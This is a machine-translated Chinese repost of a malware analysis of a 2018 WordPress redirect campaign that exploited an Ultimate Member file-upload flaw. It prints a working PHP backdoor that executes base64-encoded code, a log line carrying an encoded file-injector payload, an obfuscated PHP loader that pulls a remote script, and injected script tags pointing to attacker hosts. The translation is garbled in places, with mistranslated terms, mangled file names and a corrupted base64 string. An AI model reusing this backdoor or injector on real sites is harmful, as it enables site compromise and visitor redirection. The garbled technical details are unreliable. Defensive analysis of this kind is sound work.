WordPress中了病毒木马打开后会跳转到unverf.com这种网址上

今年八月,我们看到了一个新的WordPress感染浪潮,将访问者引导到不需要的网站。

重定向时,用户会看到带有随机UTRORO[.] COM地址和假ReaPTCHA图像的恼人页面。消息和内容试图说服访问者验证和订阅浏览器通知,而不会泄露此行为的目的。
替代重定向URL包括:

hxxp://murieh[.]space/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub
hxxps://unverf[.]com/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub

注入脚本

注入的恶意软件包含以下两个站点中的一个脚本:CDN.EdUnEng[.] COM和CDN。

前者在运动的初期阶段使用,后者在一周后被引入。然而,由于懒惰或糟糕的编码技巧,攻击者没有删除之前注入的代码,当他们重新感染网站的新版本的恶意软件-所以您可以在同一个网站上找到两个脚本。

...
<script type='text/javascript' src='hxxps://cdn.eeduelements[.]com/jquery.js?ver=1.0.8'></script>
<script type='text/javascript' src='hxxps://cdn.allyouwant[.]online/main.js?t=lp1'></script></head>
...

在写作的那一刻,我们看到了1700个站点其中 cdn.eeduelements[.]com script  有1700+网站,cdn.allyouwant[.]online 有500+网站受影响。

模糊脚本

不过,向外部脚本添加纯文本引用只是该活动使用的一种类型的注入。我们也看到了来自同一个域的模糊脚本的各种修改。

For example, this code adds the “hxxps://cdn.allyouwant[.]online/main.js?t=ac” script to a page

And this code uses the src.eeduelements[.]com/get.php address to fetch a URL that contains a redirect script. At this moment, I can see hxxps://gabemastery[.]ml/ton.js there.

主攻击向量

造成这一波感染的主要原因是tagDiv主题中的旧漏洞,以及流行的Ultimate Member插件中新发现(并且已经修复)的漏洞,该插件拥有100000多个活动安装。

对于TAGDIV主题,一个典型的注入看起来是这样的:

测井分析

对于没有TAGDIV主题的网站,感染载体最初并不清楚。像往常一样,原始日志分析帮助我们找到被利用的安全漏洞。

接下来的会议看起来非常可疑:

185.177.59.23 - - [11/Aug/2018:10:24:59 -0700] "POST /wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php HTTP/1.1" 200 183 "-" "Go-http-client/1.1"

185.177.59.23 - - [11/Aug/2018:10:25:02 -0700] "GET /wp-content/uploads/ultimatemember/temp/xJiEq0SCtv7MVS1H8Gbqfw26dOyzJihc5nlgEl7j/stream_photo_d41e21781c3fad9e1f22c1c4ba60e3c7_5b6f1bed7cf51.php HTTP/1.1" 200 4731 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

185.177.59.23 - - [11/Aug/2018:10:25:02 -0700] "GET /wp-content/uploads/ultimatemember/temp/xJiEq0SCtv7MVS1H8Gbqfw26dOyzJihc5nlgEl7j/n.php?q=ZWNobyAiNTQzNjQ1NiI7 HTTP/1.1" 200 27 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

在对Ultimate Member插件的um-image-upload.php文件发出POST请求之后,有人请求了与前一个请求上传的文件相同的文件。更令人怀疑的是,上传的文件具有.php扩展名(stream_._d41e21781c3fad9e1f22c1c4ba60e3c7_5b6f1bed7cf51.php),而插件应该只上传图像文件。

几乎是紧接着的,同一个用户访问了同一个目录中的另一个PHP文件(n.php),其中Ultimate Member插件上传了前一个文件。请求有“?”q= ZWONBYNYQQNJQ1NII7“获取参数,转换为“回声”5436456”;

考虑到来自同一访问者的所有三个连续请求具有不同的用户-代理字符串,很明显这是黑客攻击——成功的黑客攻击。

此时,尚不清楚这种攻击是否与我们调查的重定向有关,或者是否是一种无关的感染。

然后我们从同一个IP找到这个请求:

185.177.59.23 - - [11/Aug/2018:16:22:40 -0700] "GET /wp-content/uploads/ultimatemember/temp/QkqkY6iF0xN5L3r5tAtwi9rIPeTRAFxsUcYNbfVr/n.php?q=JGEgPSAnZmluZCAvIC10eXBlIGYgLW5hbWUgIipoZWFkKiIgfCB4YXJncyBncmVwIC1ybCAiPGhlYWQiJzsKJGwxID0gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vY2RuLmVlZHVlbGVtZW50cy5jb20vanF1ZXJ5LmpzP3Zlcj0xLjAuOCc+PC9zY3JpcHQ+IjsKJHQgPSBzaGVsbF9leGVjKCRhKTsKJHQgPSBleHBsb2RlKCJcbiIsIHRyaW0oJHQpKTsKZm9yZWFjaCgkdCBhcyAkZil7CgkKJGcgPSBmaWxlX2dldF9jb250ZW50cygkZik7CmlmIChzdHJwb3MoJGcsICdlZWR1ZWxlbWVudHMnKSAhPT0gZmFsc2UpIHsKICAgZWNobyAiZToiLiRmOwp9IGVsc2UgewokZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKJGcgPSBzdHJfcmVwbGFjZSgiPGhlYWQ+IiwiPGhlYWQ+Ii4kbDEsJGcpOwokZyA9IHN0cl9yZXBsYWNlKCI8L2hlYWQ+IiwkbDEuIjwvaGVhZD4iLCRnKTsKQHN5c3RlbSgiY2htb2QgNzc3ICIuJGYpOwpAZmlsZV9wdXRfY29udGVudHMoJGYsJGcpOwokZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKaWYgKHN0cnBvcygkZywgJ2VlZHVlbGVtZW50cycpICE9PSBmYWxzZSkgewogICBlY2hvICRmOwp9IAp9Cn0= HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

GET请求是用于类似上传的后门N.PHP,但这次Base64编码的有效载荷要长得多。

这里是解码的有效载荷:

答对了!很明显,这个代码在名字中搜索“头”文件,在内容里面搜索“头”标签。然后,它就在<head>标记之后和关闭的</head>标记之前注入恶意cdn.eedu.[.]com/jquery.js脚本。

车用喷油器

这个注射器代码有点过火了。大多数受感染的网页具有相同恶意脚本的多个夹杂物。

这不是注射器唯一的问题。这个代码没有考虑PHP注释中的“头”字。结果,我们看到脚本也被注入评论中。

jQuery文件

脚本的模糊版本只应该被注入到JavaScript文件中。然而,这也没有做好。攻击者决定在任何文件顶部注入它,文件名中包含“jquery”,内容中包含“jQuery”。

find / -type f -name "*jquery*" | xargs grep -rl "jQuery"

常见的疑点如wp-include/js/jquery/jquery.js和wp-include/js/jquery/jquery-migrate.min.js不是唯一受感染的文件。由于Bug注入器,第三方主题和插件中的许多文件受到影响,包括:

  • wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js,
  • wp-content/plugins/elementor/assets/lib/jquery-easing/jquery-easing.js
  • wp-content/plugins/gp-premium/page-header/functions/js/jquery.vide.min.js

Non-JS files have also been affected. For example, the script was injected into the WordPress core CSS files: wp-includes/css/jquery-ui-dialog-rtl.min.csswp-includes/css/jquery-ui-dialog.min.css, etc.

PHP注入

在一些网站上,我们发现了一个恶意软件的变体,它将以下代码注入PHP文件:

<?php error_reporting(0); ini_set(chr(100).chr(105).chr(115).chr(112).chr(108).chr(97).chr(121).chr(95).chr(101).chr(114).chr(114).chr(111).chr(114).chr(115), 0); echo @file_get_contents(chr(104).chr(116).chr(116)....skipped....chr(46).chr(106).chr(115)); ?>

The code injects content from the hxxps://alsutrans[.]com/stats.js URL (which is basically the same obfuscated JavaScript that we described above) into web pages.

The main problem with this variation is that it injects the code before the “<?php” tag and assumes that only one such tag exists at the top of the file. Anyone familiar with PHP knows that this is not true and many PHP files (especially WordPress theme files) have multiple “<?php” tags.

As a result, infected files usually look like this:

这导致生成的网页中有几十个注入脚本。此外,当代码在标签内注入时,该代码经常会中断HTML标记,如图所示:

当黑客在Ultimate Member插件中使用安全漏洞变得更加清楚时,我们决定检查它是否是某些旧的漏洞,比如tagDiv主题的漏洞,或者是一些相对较新的漏洞。

最终成员插件中的漏洞

事实证明,最终的成员插件在几天前修复了一些安全问题,包括一个未经验证的任意文件上传漏洞,该漏洞在2018年8月9日被修复。

2.0.23:2018年8月10日

Bugfixes:

固定文件/图像上传器

2.0.22: 2018年8月9日

Bugfixes:

固定安全漏洞(文件/图像上传)

在补丁被修补之前,这些攻击是在野外发现的。一旦发布了关于固定问题的信息,黑客就不用太长时间就将漏洞添加到工具包中。

在我们分析的日志中,我们看到了第一次成功的尝试利用安全漏洞在8月11日,就在发布版本2.0.22的两天之后,最初解决了这个问题。大约在那个时候,我们登记了越来越多的感染包括在这篇文章中。这再一次证明,网站所有者在一个漏洞的披露和第一次大规模尝试利用它之间有很短的窗口——特别是对于流行的主题和插件。

攻击场景

现在我们已经了解了Ultimate Member插件的问题(在v 2.0.22之前),我们可以重构一个典型的攻击场景。

首先,黑客在WordPress网站上搜索最终成员插件的存在。

当他们发现它时,他们使用漏洞上传虚假图像,这通常是一个带有PHP代码的图像文件。这个假图像在WP内容/上载/最后一个/TEMP的随机查找的子目录中以一个半随机名称结束。下面的例子。

wp-content/uploads/ultimatemember/temp/WdSGzebLWHdyFKBxnl8WeVH79qLeLCBTlZlmpik9/stream_photo_1629b0420ba2002e27f81ee0f7164a19_5b70072a3a639.php

That file is then used to create a more generic backdoor n.php in the same folder.

<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q'])); include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>

这个后门保存了一个临时文件“SDGSDFGSDG”中的“Q”请求参数中传递的任意PHP代码。然后通过将它包含到当前脚本中来执行它。

对新创建的N.PHP后门的初始请求带有参数“?Q= ZWONBYNYTQZNJQ1NII7“打印预定义字符串“5436456”,用于确保后门正确工作。

之后,攻击者使用这个后门将各种不同的恶意代码注入到服务器上的文件中。

一般情况下,当下面的条件满足时,两种类型的文件被感染:

包含“头”标签的文件,并在名称中有“头”。通常这包括Heal.PHP文件。

在它们的内容中包含“jQuery”一词的文件和“jQuery”的名称。

每隔几天,黑客就会返回并重新使用n.php后门(或者上传一个新的后门)以重新感染恶意代码的新版本。由于注射器质量差,你可能会发现不同版本的恶意软件坐在同一个文件中。

交叉部位感染

恶意软件注入器开始从服务器根搜索合格的文件(查找/…)。因此,此攻击试图感染任何合适的可写文件,甚至是初始折衷站点目录之外的文件。

在大多数宿主环境中,成功的感染将限于属于一个服务器帐户的文件。但是,如果帐户有多个站点,则所有站点都将被感染(即使它们没有Ultimate Member插件或任何易受攻击的组件)。非WordPress网站也会受到感染。此外,所有共享相同帐户的邻近站点将继续再次感染,除非所有站点都经过适当清理和硬化。

缓解

这种攻击使用几种不同的感染向量和恶意代码的多种变体。在这里,我们将尝试覆盖最常见的缓解措施。

确保更新所有的主题和插件。如果您的站点使用Ultimate Member(比2.0.23还老)插件,或者tagDiv的主题之一(Newspaper、Newsmag等),则这一点尤其重要。

在TAGDIV攻击向量的情况下,恶意软件可以在主题的管理界面中找到并移除。主题面板>广告>标题广告,或在“自定义HTML”小部件中。或者,您可以直接使用WordPress数据库,但是要仔细清理序列化代码。

在Ultimate Member攻击向量的情况下,删除wp-content/uploads/ultimate./temp/子目录下的所有PHP文件(对于奖励点,禁用此文件夹中PHP文件的执行),然后从“header”和“jquery”文件中删除本文中提到的恶意代码S.

确保所有共享相同服务器帐户的网站,甚至那些没有任何易受攻击的主题和插件的网站,都要进行清理和加固。如果你不能做到这一点,你的网站可能会很快被重新感染。

这个活动经常改变注入的代码和受影响的文件,这些指令不是决定性的。请咨询我们关于清理WordPress站点的指南,以找到更多的通用说明,帮助您处理大多数类型的WordPress感染。

结论

这种大规模感染清楚地表明了零日攻击是如何发生的,并且在脆弱性窗口期间指数增长。

当漏洞被披露时,机会主义攻击的数量通常会立即增加。黑客警惕和密切监视流行主题和插件的变化。如果一个坏演员看到安全问题已经得到修复,他们将尝试为旧版本创建漏洞,以针对尚未修补到最新可用版本的易受攻击站点。

及时更新所有现场部件是非常重要的,以尽量减少感染的风险。如果您担心无法维护对主题、CMS和插件的更新,那么最好的选择是网站防火墙,它可以阻止大多数新的攻击。


寒林

www.3code.cn 专注WordPress企业主题